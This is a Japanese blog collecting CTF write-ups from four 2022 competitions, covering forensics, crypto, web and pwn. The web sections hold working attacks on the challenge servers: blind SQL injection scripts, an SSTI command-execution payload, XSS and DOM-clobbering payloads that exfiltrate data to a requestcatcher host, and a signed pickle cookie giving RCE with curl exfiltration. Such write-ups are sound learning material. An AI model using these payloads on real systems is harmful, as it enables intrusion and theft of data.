はまやんはまやんはまやん

hamayanhamayan's blog

Srdnlen CTF 2022 Writeups

[Forensic] LenSrdnBand-corrupted

謎のファイルが渡される。fileコマンドでも有用な情報が得られないのでバイナリを見てみる。

└─$ hd LenSrdnBand-corrupted | head
00000000  89 50 52 47 0d 0a 1a 0a  00 00 00 0d 49 50 52 52  |.PRG........IPRR|
00000010  00 00 05 00 00 00 03 0a  08 06 00 00 00 da af e9  |................|
00000020  ab 00 00 20 00 49 54 54  54 78 5e ec 9d 0d 54 54  |... .ITTTx^...TT|
00000030  55 d7 c7 77 66 66 65 66  a6 66 66 66 65 6a 66 44  |U..wffef.fffejfD|
00000040  c6 43 66 86 8a 68 7e 20  a1 22 22 22 22 22 22 12  |.Cf..h~ ."""""".|
00000050  22 22 22 12 22 a2 e2 47  88 86 88 88 84 a4 a4 88  |"""."..G........|
00000060  88 48 a4 66 86 8a 48 64  46 64 4a 46 66 66 66 64  |.H.f..HdFdJFfffd|
00000070  66 66 d6 63 65 ef d9 b7  c7 5e e5 de 61 ee 1d 66  |ff.ce....^..a..f|
00000080  86 01 fe 67 2d 57 2d 67  9f 7d f6 f9 dd 61 5c fc  |...g-W-g.}...a\.|
00000090  67 7f dc 72 ed ef bf ff  26 2c 10 00 01 10 00 01  |g..r....&,......|

└─$ hd LenSrdnBand-corrupted | tail
0002fcb0  00 96 cf ef c2 aa 10 40  00 01 04 10 40 00 01 b7  |.......@....@...|
0002fcc0  09 1c 3f 7e 5c bc bd db  98 c6 cb cf df 21 f5 eb  |..?~\........!..|
0002fcd0  d7 77 5b 2e 02 21 80 00  02 08 20 80 00 02 08 94  |.w[..!.... .....|
0002fce0  3f 01 0a 80 e5 ef 9b b0  22 04 10 40 00 01 04 10  |?......."..@....|
0002fcf0  40 c0 ad 02 e7 cf 9f 97  ee dd bb c9 be 7d 9f 5e  |@............}.^|
0002fd00  16 b7 59 b3 7b 24 2b 6b  a3 54 ad 5a d5 ad f9 08  |..Y.{$+k.T.Z....|
0002fd10  86 00 02 08 20 80 00 02  08 20 50 be 04 fe 0f a4  |.... .... P.....|
0002fd20  00 01 8d 01 a9 42 1f 00  00 00 00 49 45 4e 44 ae  |.....B.....IEND.|
0002fd30  42 60 82                                          |B`.|
0002fd33

かなりPNGファイルっぽい。
正規のPNGファイルと比較しながら見ていくと、SignatureとBlockTypeが微妙に違う感じになっているので直すと
PNGファイルとして開くことができる。
あとは、青い空を見上げればいつもそこに白い猫を開いてステガノグラフィー解析で眺めるとフラグが出てくる。

srdnlen{Th1s_1m4g3_1s_c0rrupt3d}

[Forensic] Network Spy

mouse.pcapというUSB通信をダンプしたpcapファイルが与えられる。
0301ff0f000000みたいな入力データが延々と送られてくるのでこれを復元すれば良さそう。
ネットの情報を漁ると、button(1byte)+dx(1byte)+dy(1byte)+wheel(1byte)みたいに送られてくるっぽいので、他の通信との差を見ながら以下のように推測する。

03 -> prefix 固定
01 -> button (1でクリック中)
ff -> dx
0f -> dy
00 -> wheel
0000 -> suffix 固定

これを参考にボタンを押しているときの軌道を取得してきてフラグを取得する。
dyが大きかったので結果を16で割って縮小するとフラグがうまく描画されてきた。

import struct
from PIL import Image

INIT_X, INIT_Y = 2000, 2000
BOT_R = 3

def toint(s):
    res = struct.unpack('>b', bytes.fromhex(s))
    return res[0]

x, y = INIT_X, INIT_Y
picture = Image.new("RGB", (5000, 5000), "white")
pixels = picture.load()
with open('dumped.hex') as fp:
    for line in fp.readlines():
        line = line[2:-1]
        status = toint(line[:2])
        dx = toint(line[2:4])
        dy = toint(line[4:6]) // 16
        wheel = toint(line[6:8])
        x = x + dx
        y = y + dy
        if (status == 1):
            for i in range(-BOT_R, BOT_R):
                for j in range(-BOT_R, BOT_R):
                    try:pixels[x + i , y + j] = (0, 0, 0, 0)
                    except:pass
        else:
            try:pixels[x, y] = (255, 0, 0, 0)
            except:pass
        
        print(f"{x} {y} ({dx} {dy} {wheel})")

picture.save("flag.png", "PNG")

srdnlen{S0r1gh3_pc4p}

[Forensic] Network keylogger

Decoding Mixed Case USB Keystrokes from PCAP
このサイトを参考にキーログを抜き出してくる。
Hhello!みたいに複数回出てきたりするので、エスパーをしながら解析結果を分析してフラグを無理矢理作って、
全列挙みたいな感じでフラグを出しまくると通る。

srdnlen{Us8_Tr4ff1c_1S_Fun_T0_D3C0d3}

[web] I love pickles

ソースコードなし。
サイトを巡回すると、とりあえず/flagでadmin権限で入ればよさそう。
Cookieを見ると

Cookie: userInfo=gASVNAAAAAAAAACMCF9fbWFpbl9flIwEVXNlcpSTlCmBlH2UjAl1c2VyX3R5cGWUjAlBbm9ueW1vdXOUc2Iu

とりあえずbase64デコードしてみると、うっすらuser_typeみたいなものが見える。
問題文にもpickleとあるので、pickle.loadsでエラーがなくなるように調整する。
user_typeをadminにするように以下のようにコードを作るとうまくいった。

import pickle
import base64

class User(object):
    def __init__(self):
        self.user_type = 'admin'

print(base64.b64encode(pickle.dumps(User())))

これをCookieに入れるとフラグが手に入る。

srdnlen{0h_n0000_y_d1d_1_trust_y0u?}

[web] PugQL

ソースコードなし。
admin:adminでログインできるが、特に何もない。
Pug?SQL?色々推測をするが…
usernameをadmin, passwordを' or ''='にしても通る。
エラーを出してみると、mysqlが動いているみたい。

Warning:  mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in <b>/var/www/html/index.php</b> on line <b>30

Blind SQLiやっていく…がブラックリストがある。

.
#
<

ドットが使えないのはきついが、テーブル名とカラム名エスパーして、ログイン情報を抜き出すとフラグが出てくる。

import requests
import time

url = 'http://pugql.challs.srdnlen.it/'

#req = 'select GROUP_CONCAT(username) from users'
#[*] Pepito,Mario,admin
req = 'select GROUP_CONCAT(password) from users'
#[*] ilovesnacililovesnacks,srdnlen{1_l0v3_Pu4s_th3y_4r3_s0_Cu73},admin

ans = ""
for i in range(1, 1010):
    for c in range(256):
        exp = f"' or if({c} = ascii(substring(({req}),{i},1)), 1, 0) and ''='"
        res = requests.post(url, data={'username':'admin','password':exp}, headers={'Content-Type': 'application/x-www-form-urlencoded'})
        if 'Hello admin!' in res.text:
            ans += chr(c)
            print(f"[*] {ans}")
            break
        else:
            print(f"{c} -> no... {ans}")
print(f"[*] done! {ans}")

srdnlen{1_l0v3_Pu4s_th3y_4r3_s0_Cu73}

 
 
 
 
 

srdnlen/srdnlenctf-2022_public: Source code and documentation for Srdnlen CTF 2022 challenges
ありがたいことに爆速で公式レポが解説付きで上がっているので、こっちを見るのが一番いい

WRECKCTF (2022) Writeupというかチラシの裏

[crypto] spin

元の文字から特定の文字が作られるので、各文字について暗号化前と後を持っておき、
そのマッピングを利用して復元していく。

encrypted = 'oujp{xkurpjcxah_ljnbja_lryqna}'

raw = 'qwertyuiopasdfghjklzxcvbnm{}_'
enc = 'zfnachdrxyjbmopqstuiglekwv{}_'

ans = ''
for c in encrypted:
    for a,b in zip(raw, enc):
        if b == c:
            ans = ans + a

print(ans)

flag{obligatory_caesar_cipher}

[crypto] baby-rsa

nが素因数分解できてしまうとRSAは終わりであるが、
nとpが与えられているので素因数分解できてしまう。
q = n / pでqを求めて、後は普通にRSAをデコードしていく。

flag{omg_its_rsa}

from Crypto.Util.number import *
from math import lcm

n = 16967030524502117214404100938261512382476151014953810086457458506775561699741027177109475539121211529814684487395199133801638599985180955338495989569340540376124807821943573280630324881818066744507564756665127210459332444920606486994072129710858139496303833832240535648836812837435101898107375109591298448865096896766383411711200824664445664678845771535439939206180644815510852117001857835603778955859253603587494892843836213881773638034262614536999861164857385629363907454894250540295882187971147536166744476224735521763298209764627356686320122210736490192602850501326898433744416186683178097463922613678659551708913
p = 112938170774939578216646572395872887695843784155521810581759026139441777082668981414130841110435151229821393412015735096194165993689242885701364849407355608664777621193747399866798831020509285147859127962346645901944198309670340274589989755553987121054384691648307853338777947729704797783621352987968380404953
c = 3368698370223657437363956246409070827533162506001921259102069828983434755863382284430154276267297409790119872670804781112016305330950073801884911157804546010154111795543704170801587831489566486566469051334021190261635984576008739988870135676555037073260283576557781498330505383655344806353896492051402660556261952019042918816172190224923806908316787952447009744475852130517418559365436552563392957767628839691411633880727219556601643606771975372751803686173396627207883779445464569870767142834865744494453087393160416188615150825879908393020074220980283645462336483624972560418501642296980186442041991775924025176517

q = n // p

e = 65537

phi = lcm(p-1,q-1)
d = pow(e, -1, phi)
m = pow(c, d, n)

print(long_to_bytes(m))

[crypto] mtp

暗号化すると同じ場所で文字であれば、同一の特定の文字に変換される。
先頭から一致するように平文を試していけば復元できそう。
pwntoolsで実装して、全探索コードを書く。
一応気を遣ってsleepを挟みながら実行し、のんびり待つとフラグが得られる。

from pwn import *
import time

ans = 'flag{'
for _ in range(20):
    def get_result(p):
        p.recvuntil(b'Result: ')
        return p.recvuntil(b'\n')[:-1].decode('utf-8')

    p = remote("challs.wreckctf.com", 31239)
    p.sendlineafter(b"> ", b"2")
    sensei = get_result(p)
    print(sensei)


    for c in "qwertyuiopasdfghjklzxcvbnm{}_":
        p.sendlineafter(b"> ", b"1")
        p.sendlineafter(b"What's your message? ", (ans + c).encode('utf-8'))
        dec = get_result(p)
        if sensei.startswith(dec):
            ans = ans + c
            print(f"[+] {ans}")
            break
    p.close()
    time.sleep(5)

print(f"[*] {ans}")

[crypto] token

2つのクエリが可能

  • クエリ1: 暗号化されたトークンを与えて復号結果がgaryならフラグが得られる
  • クエリ2: gary以外の任意の文字列を暗号化できる

つまり、何とかしてgaryを暗号化したトークンが手に入ればいい。

脆弱点はAES.MODE_ECBで暗号化されている所。
これは平文をブロックに分けて(今回は16ビット)それぞれ暗号化して結合することで暗号化する。
この方式の難点は切り貼りできるという部分である。

具体的には'A'*16 + 'gary'を暗号化すると、1ブロック目は'A'*16の暗号文になっていて、
2ブロック目は'gary'の暗号文になっている。
かつ、場所によって暗号方式が変化するわけではないので、ここで作られた2ブロック目の暗号文は
ちょうど普通にgaryを暗号化したときの暗号文と同一である。

よって、解法としては'A'*16 + 'gary'をクエリ2で暗号化して、
暗号文の後半を切り取ってクエリ1に無ければフラグ。

flag{gary_gary_gary_gary_gary_gary}

[web] sources

sourcesという問題なので、ソースコードにフラグが散らばっているんだろう。
burpのログを見ると以下にフラグがある。

  • GET / -> <!-- flag part 1: flag{bd6a9e3f -->
  • GET /style.css -> /* flag part 2: 1690f7ab */
  • GET /script.js -> // flag part 3: b8445c0e}

つなぐと答え

flag{bd6a9e3f1690f7abb8445c0e}

[web] password-1

ソースコードを見るとGET /api/outputでフラグが得られる。

flag{why_is_hashing_in_browser_so_hard}

[web] password-2

与えられているソースコードをみるとindex.jsの17行目に
SELECT password FROM passwords WHERE password='${password}';
とあり、SQL Injection脆弱性がある。

なんでもいいので結果が存在すればフラグが手に入るので' or ''='としてフラグ獲得。

flag{i_love_in_memory_sqlite}

[web] notes-1

ソースコードが与えられるのでindex.jsを見ながら怪しい部分を探していく。

  • 8~11行目:noteのidは0から始まる番号のsha256ハッシュが使われていて、推測可能
  • 45行目~: GET /view/:idには認可チェックが無いのでIDさえわかればnoteが見れる

ということで、IDOR脆弱性がある。
フラグのnoteは最初に保存されているので0のsha256を使って、
GET /view/5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9
のようにアクセスすればフラグが手に入る。

flag{technically_a_vulnerability}

[web] blog

ソースコードを巡回するとblog.pyにてSSTI脆弱性が見つかる。

33行目で<p>Post \"""" + request.args.get('title') + """\" created successfully. </p>とテンプレートに入力が埋め込まれていて、
36行目でreturn render_template_string(quicktemplate)のようにサーバサイドレンダリングが実行されている。
flaskのrender_template_stringは内部でninja使ってるので、とりあえず{{config}}を試す。
GET /postsuccess?title={{config}}をしてみるとたくさん色々出てくるので成功していそう。

適当に手元にあるRCEコードを試すと刺さるので、後は適当に環境を巡回すればフラグが手に入る。
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}

最終的にはGET /postsuccess?title=%7b%7brequest.application.__globals__.__builtins__.__import__('os').popen('cat%20flaskr%2fprotected%2fburdellsecrets.txt').read()%7d%7dでフラグ獲得。

flag{I'm_not_real_:)}

[web] password-3

password-2とほぼ同じ感じではあるが、単に認証を突破するだけでなく、
データベースの中身をダンプしてフラグを獲得する必要がある。
色々横着を考えたが、おとなしくBlind SQL Injectionで抜き出すことにする。

select group_concat(password) from passwordsの結果をBlind SQL Injectionで抜いてきたらフラグが得られる。

flag{whee_binary_search_sqli}

import requests
import time

url = 'https://password-3.challs.wreckctf.com/password'
req = "select group_concat(password) from passwords"

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or {md} <= (SELECT unicode(substr(({req}),{i},1))) --"
        res = requests.post(url, json={'password':exp})
        if '"success":true' in res.text:
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    print(f"[*] {ans}")
    time.sleep(1)
print(f"[*] done! {ans}")

[web] notes-2

前問題であるnotes-1の進化系っぽいので、ソースコードのdiffを見てみる。
すると、idは0-indexedのsha256ではなく、乱数のhexとなっている。
推測は難しそう。
かつ、FLAGはサーバ自体に抱えられず、ソースコード上からも消えている。
代わりにXSSできるようになっているっぽい。

previousというのが追加されていて、XSSでこのアドレスを抜いてくればよさそう。
良い感じに";}); alert(1); button.addEventListener('click', () => { const x = "とするとXSS発火する。

";}); fetch('https://abc.requestcatcher.com/test', { method : 'post', body: localStorage.previous }); button.addEventListener('click', () => { const x = "

これでlocalStorage.previousの内容が漏洩するので、Admin Botで踏ませてURLが得られたらアクセスしてフラグ獲得。

flag{context_dependent_sanitization}

[web] notes-3

前問のnotes-2と同じくXSSで情報を抜くタイプの問題みたい。
CSPでContent-Security-Policy: script-src 'self'と設定されている。
CSP Evaluatorで見てみてもselfを狙うものしかなさそう。
(object-srcも警告が出るが、古いブラウザでしか機能しない攻撃が成立することを指摘している)

んー、と思っていると天啓が下りてくる。
script.jsを見てみると

fetch(\`\${CONFIG.analytics}/?Api-Key=\${CONFIG.key}\`, {
    method: 'POST',
    headers: { 'content-type': 'application/javascript' },
    body: JSON.stringify({ previous: previous ?? '', current }),
    mode: 'no-cors',
})

となっていて、前回の問題で抜き出したpreviousが外部送信されている。
CONFIG.analyticsを自分たちの先に変更することができれば抜き出せそうだが…
という所から考えると、DOM Clobberingが思い浮かぶ。
これは普通のHTMLタグを利用することで、javascriptグローバル変数を用意できるといったもの。
DOM Clobbering まとめ – やっていく気持ちが詳しい。

とにかく、目標としてはCONFIG.analyticsに任意のURLを入れたいので、
結論から言うと以下のようなpayloadを使う。

<a id=CONFIG><a id=CONFIG name=analytics href="https://abc.requestcatcher.com/test">
<script src='/script.js'></script>

script.jsはもともと用意されているものを使ってしまうと、その前にconfig.jsが呼ばれているので上書きされてしまう。
なので、DOM Clobberingを使って、CONFIG.analyticsにhttps://abcc.requestcatcher.com/testを入れた後に先にscript.jsを呼び出す必要がある。
aタグの追加はCSPには影響しないし、scriptタグでscript.jsを入れ込むのもscript-src 'self'なので問題ない。
javascriptCONFIG.analyticsをそのまま呼び出すとaタグ全体が出力されてしまうが、文字列化されると、hrefの中身だけになる。(なぜか)
今回は${CONFIG.analytics}/?Api-Key=${CONFIG.key}のように文字列埋め込みされているので、この文字列全体が'https://abcc.requestcatcher.com/test/?Api-Key=undefined'のようになって、想定通りの結果となる。

あとは、これをAdmin Botで踏ませるとPOSTでURLが送られてくるので、それを使ってIDORをしてフラグ獲得。

flag{the_newrelic_didnt_even_work}

SekaiCTF 2022 Writeupというかチラシの裏

[crypto] Time Capsule

SEKAI{から始まる平文にstage1処理をして、stage2処理をしたものが与えられる。
逆関数をどちらも作って解読していく。

まずは、stage2であるが、xor暗号化している。
ざっくり「msg ^ 乱数列 + time(後ろ18byte) ^ 0x42」みたいな処理になっている。
乱数列はtimeをもとに生成しているので、

  1. 後ろ18byteを持ってきて0x42とxorすることでtimeを明らかにする
  2. timeが分かれば乱数列を再現できるので、再現してmsgを手に入れる

これでstage2処理前のメッセージが得られたので次はstage1を考える。
8個のランダムな[0,255]からなる配列を使ってシャッフル処理をしている。
[0,255]からなる配列を使ってはいるが、大小関係だけを処理では使用しているので、
実質[0,1,2,3,4,5,6,7]の配列をランダムに入れ替えたものと考えてしまって問題ない。
これは8!通りしか組み合わせが無いので全探索ができる。
あとは、シャッフルに使用しているencrypt_stage_oneの逆関数を作って、
すべての組み合わせからSEKAI{から始まる平文を探し出すと答え。

SEKAI{T1m3_15_pr3C10u5_s0_Enj0y_ur_L1F5!!!}

import base64
from Crypto.Util.strxor import *
import random
import os

enc = "lrr8pZFJCsp0qt0mBnsrIaATtebvixGqchUKfdlTil6tOh+aCtDDexsoynN0dnVwdnN1c3JscXp2dHV3cg=="
enc = base64.b64decode(enc)

# solve stage two

msg = enc[:-18]
now = enc[-18:]

now = strxor(now, b"\x42" * 18)
print(now)

random.seed(now)
key = [random.randrange(256) for _ in msg]
msg = bytes([m ^ k for (m,k) in zip(msg, key)])

print(msg)

# solve stage one

msg = msg.decode('utf-8')
def encrypt_stage_one_rev(message, key):
    u = [s for s in sorted(zip(key, range(len(key))))]
    buf = []
    cur = 0
    for i in u:
        for j in range(i[1], len(message), len(key)):
            buf.append((j, message[cur]))
            cur += 1

    res = ""
    for p in sorted(buf):
        res += p[1]
    return res

import itertools

for rand_nums in list(itertools.permutations(list(range(8)))):
    flag = msg
    for _ in range(42):
        flag = encrypt_stage_one_rev(flag, rand_nums)
    if flag.startswith("SEKAI{"):
        print(f"found! {flag}")

[PPC] Let’s Play Osu!Mania

普通に競プロ。
音ゲーの譜面があって、tap noteとhold noteが書いてある。
hold noteは連続しているものは1つとしてカウントするときにnoteの数を答える問題。
横は4固定で縦Nは、N<104
適当に実装する。

tap noteの数を数えて、hold noteのグループ数も数える。
hold noteの上下にはtap noteがあるので、hold noteの数だけtap noteを1つ多く数えてしまっていることになる。
(hold部分の上は数えてOKだけど下は数えると二重で数えていることになる)
なので、tap-holdが答え。

SEKAI{wysi_Wh3n_y0u_fuxx1ng_C_727727}

int N;
string notes[10101];

void _main() {
    cin >> N;
    getline(cin, notes[0]);
    rep(i, 0, N) getline(cin, notes[i]);

    int tap = 0;
    int hold = 0;
    int pre[4] = { 0, 0, 0, 0 };
    rep(y, 0, N) {
        rep(x, 0, 4) {
            char c = notes[y][x + 1];

            if (c == '#') {
                if (pre[x] == 0) {
                    hold++;
                    pre[x]++;
                }
            }
            else {
                pre[x] = 0;
                if (c == '-') tap++;
            }
        }
    }

    cout << tap - hold << endl;
}

[web] Bottle Poem

ポエムが読めるサイト。
/show?id=spring.txtのようにファイルを読み込んでいる感があるので、
/show?id=/etc/passwdでやってみると抜けてくる。
LFI脆弱性が見つかる。

レスポンスを見るとserver: WSGIServer/0.2 CPython/3.8.12とあるのでpythonで書かれている。
それともとにいろいろやると、/show?id=/proc/self/cwd/app.pyでコードが抜けてくる。

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

/signsession["name"] == "admin"になればフラグが得られそうと予想。
tokenにsecretを使って署名しているみたい。
from config.secret import sekaiとなっているので、これもLFIで抜く。

GET /show?id=/proc/self/cwd/config/secret.py
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

適当にコードを書いてCookieを作る。

from bottle import route, run, template, request, response, error
import os

@route("/")
def home():
    response.set_cookie("name", {"name": "admin"}, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
    return "yeah"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=1337)

それを送るとadminで入れるが、フラグが出てこない。
Cookie: name="!rsOwvUb6jllVHQVOPlZv5w==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFYWRtaW6Uc4aULg=="
んー

問題文を見ると追記されていた
Flag is executable on server.
RCEまでつなげないとダメみたい。

んー、あー、と思っていると日本語の素晴らしい記事が見つかる。
[pickleを利用した任意のコード実行とPython Web Framework - mrtc0.log] (https://mrtc0.hateblo.jp/entry/2015/12/08/230840)
ここにかなり親切に書いてある!

name=guestのcookieを持ってくると!o8siMrdaVf83giE8crJurg==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg==

import pickle;
from base64 import b64encode, b64decode

x = b'gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg=='
x = b64decode(x)
x = pickle.loads(x)
print(x)

中身を見てみると('name', {'name': 'guest'})となっているみたい。
https://github.com/bottlepy/bottle/blob/master/bottle.py#L1848-L1856
を見ながら微妙にコードを変更して新しくcookieを作る。

import pickle, subprocess, base64, hmac, requests, sys
import hashlib

class getpasswd(object):
    def __reduce__(self):
        return (subprocess.check_output, (('bash','-c', 'curl https://abc.requestcatcher.com/test/'),))

p = pickle.dumps(('name', getpasswd()))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new(b"Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu", msg, digestmod=hashlib.md5).digest())
c = b'!'+sig+b'?'+msg
print(c)

requestcatcherでリクエストを待って、これをCookieのnameに入れて、/signへリクエストを飛ばすとRCEできていることが確認できる。
探索するとフラグが手に入る。

ls -la / | curl https://abcc.requestcatcher.com/test/ -X POST -d @-

total 80
drwxr-xr-x   1 root root 4096 Oct  1 11:28 .
drwxr-xr-x   1 root root 4096 Oct  1 11:28 ..
drwxr-xr-x   1 root root 4096 Sep 30 17:27 app
drwxr-xr-x   1 root root 4096 Mar  1  2022 bin
drwxr-xr-x   2 root root 4096 Dec 11  2021 boot
drwxr-xr-x   5 root root  360 Oct  1 11:28 dev
drwxr-xr-x   1 root root 4096 Oct  1 11:28 etc
---x--x--x   1 root root  568 Sep 15 06:37 flag
drwxr-xr-x   2 root root 4096 Dec 11  2021 home
drwxr-xr-x   1 root root 4096 Mar  1  2022 lib
drwxr-xr-x   2 root root 4096 Feb 28  2022 lib64
drwxr-xr-x   2 root root 4096 Feb 28  2022 media
drwxr-xr-x   2 root root 4096 Feb 28  2022 mnt
drwxr-xr-x   2 root root 4096 Feb 28  2022 opt
dr-xr-xr-x 311 root root    0 Oct  1 11:28 proc
drwx------   1 root root 4096 Sep 29 20:22 root
drwxr-xr-x   3 root root 4096 Feb 28  2022 run
drwxr-xr-x   1 root root 4096 Mar  1  2022 sbin
drwxr-xr-x   2 root root 4096 Feb 28  2022 srv
dr-xr-xr-x  13 root root    0 Sep 30 19:00 sys
drwxrwxrwt   1 root root 4096 Sep 29 20:22 tmp
drwxr-xr-x   1 root root 4096 Feb 28  2022 usr
drwxr-xr-x   1 root root 4096 Feb 28  2022 var


/flag | curl https://abcc.requestcatcher.com/test/ -X POST -d @-

SEKAI{W3lcome_To_Our_Bottle}

[web] Crab Commodities

売買をして稼ぐゲーム。
2_000_000_000円あればflagが買えるので何とか不正をしてお金を稼ぐ。
ソースコードを読み込んでいくと悪用可能なオーバーフロー箇所がある。

api.rsのPOST /upgrade部分、111行目price *= body.quantity;という処理があり、ここでオーバーフローが発生する。
priceはgame.rsの157行目にてpub price: i32,のように定義されているので符号付32ビット。
この処理に入るStorage Upgradeの場合はprice=100_000であり、body.quantityは32766が最大なので、掛け合わせると上限の2147483647を超えてオーバーフローする。
最終的にこの値がapi.rsの146行目でuser.game.money.set(user.game.money.get() - price as i64);のように引き算されるので、支払っているはずが、稼ぐことができそうだ。

POST /api/upgradeでbodyをname=Storage+Upgrade&quantity=32765とすると、所持金が1,018,497,296になった。
OK.
オーバーフローしすぎると増やせる額が減ってしまうので、良い感じに調整をしてflagを買えるようにする。
POST /api/upgradeでbodyをname=Storage+Upgrade&quantity=22000とすると、所持金が2,094,997,296になった。
フラグが買えるようになる。

SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}

[web] Issues

フラグを得るためには/api/flagにアクセスする必要があるが、その前にauthorizeによってtoken検証される。
有効な認証トークンを作成しよう。app.pyを見るとログインは作成中なので、自力でtokenを作成して、エラーを突破していく。

  1. No Authorization header found
    • Authorization: Bearer [token]をヘッダーに追加して認証を進める
    • 鍵を適当に作ってRS256でJWTトークンを入れてみる
    • 秘密鍵作成 openssl genrsa -out private.pem 4096
    • 公開鍵作成 openssl rsa -in private.pem -pubout -outform PEM -out public.pem
  2. issuer not found in JWT header
    • JWTのissuerに適当なURLを入れて試す
  3. Invalid issuer netloc: {issuer}. Should be: {valid_issuer}
    • ここの突破が問題
    • 任意のjwks.jsonファイルを参照させることで鍵を強制させたいが、ドメインをチェックされる
    • 悪用可能なリダイレクトが/logoutにあるので悪用する
    • http://localhost:8080/logout?redirect=http%3a%2f%2fgoogle.comみたいにすれば任意のURLが使える
    • requestcatcherでリクエストが来るか試すといい感じに来てくれる
  4. Expecting value: line 1 column 1 (char 0)
    • 単にapi.pyの34行目 key = resp["keys"][0]["x5c"][0] でのエラー
    • フォーマットがあってないだけ。与えられているjwks.jsonを参考に作成した公開鍵を適用する
  5. user claim missing
    • {'user':'admin'}が要求されているので作るとフラグが得られる。

SEKAI{v4l1d4t3_y0ur_i55u3r_plz}

DownUnderCTF 2022 Writeupsというかほぼチラシの裏

[crypto] baby arx

暗号の処理を見ていると、和とかが入っていて逆計算結構大変そう。
なので、DUCTF{から始まっていることを過程して、先頭から順番に全探索していくことを考える。

ストリームで1byte出力するのにバッファの先頭2byteが使われている。
初期状態としてバッファの先頭をDUとして、ストリームの1byteを生成してみるとお手本と一致する。
なので、DU?の?部分を全探索して、U?でお手本の2byte目と一致するものを探していく。
DUCと分かるので次はDUC?の?を全探索して、お手本の3byte目と一致するかを確認する。
順次繰り返すとフラグが復元できる。

class baby_arx():
    def __init__(self, key):
        self.state = list(key)

    def b(self):
        b1 = self.state[0]
        b2 = self.state[1]
        b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xff
        b2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xff
        b = (b1 + b2) % 256
        self.state = self.state[1:] + [b]
        return b

    def stream(self, n):
        return bytes([self.b() for _ in range(n)])

sensei = 'cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b'
ans = b"DU"
for _len in range(62):
    len = _len + 2
    sensei_prefix = sensei[:(len*2)]
    print(f"[*] {sensei_prefix}")

    for c in range(256):
        cipher = baby_arx(ans + c.to_bytes(1, 'big'))
        out = cipher.stream(64).hex()
        if sensei[:(len*2)] == out[:(len*2)]:
            ans = ans + c.to_bytes(1, 'big')
            print(f"[+] {ans}")
            break

[pwn] babyp(y)wn

pythonBoFを起こす問題。

from ctypes import CDLL, c_buffer
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
buf1 = c_buffer(512)
buf2 = c_buffer(512)
libc.gets(buf1)
if b'DUCTF' in bytes(buf2):
    print(open('./flag.txt', 'r').read())

buf1に書き込みをしているが、BoF脆弱性があるのでbuf2まで書き込んでしまうというもの。DUCTFという文字列を繰り返したものを送ればいい。
512を超えるくらいの適当な文字数にして送った。以下を送るとフラグ。

DUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTF

